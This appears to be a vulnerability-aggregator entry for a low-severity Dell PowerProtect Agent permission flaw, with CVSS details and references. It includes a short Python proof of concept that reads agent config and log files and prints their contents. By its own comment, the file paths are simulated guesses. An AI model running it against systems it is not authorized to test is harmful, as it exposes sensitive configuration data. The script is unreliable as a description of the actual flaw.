CVE-2026-28264

Description

Dell PowerProtect Agent Service, version(s) prior to 20.1, contain(s) an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information exposure.

CVSS Details

CVSS Score

3.3

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Dell PowerProtect Agent Service < 20.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-28264
# Description: Checks for readable sensitive files in Dell PowerProtect Agent directories.
import os

def check_vulnerability():
    # Simulated path for the vulnerable resource
    target_paths = [
        "C:\\Program Files\\Dell\\PowerProtect\\Agent\\config\\agent.conf",
        "C:\\ProgramData\\Dell\\PowerProtect\\logs\\service.log"
    ]

    print(f"[*] Checking {target_paths}...")

    for path in target_paths:
        if os.path.exists(path):
            try:
                # Attempt to read the file
                with open(path, 'r') as f:
                    content = f.read()
                print(f"[+] VULNERABLE: File {path} is readable by low-privileged user!")
                print(f"[+] Content preview: {content[:100]}...")
            except PermissionError:
                print(f"[-] Secure: Permission denied for {path}")
            except Exception as e:
                print(f"[!] Error reading {path}: {e}")
        else:
            print(f"[-] Path not found: {path}")

if __name__ == "__main__":
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28264
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28264
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28264/
[4] VulDB https://vuldb.com/cve/CVE-2026-28264
[5] https://www.dell.com/support/kbdoc/en-us/000447277/dsa-2026-158-security-update-dell-powerprotect-data-manager-for-multiple-security-vulnerabilities

Raw JSON Data

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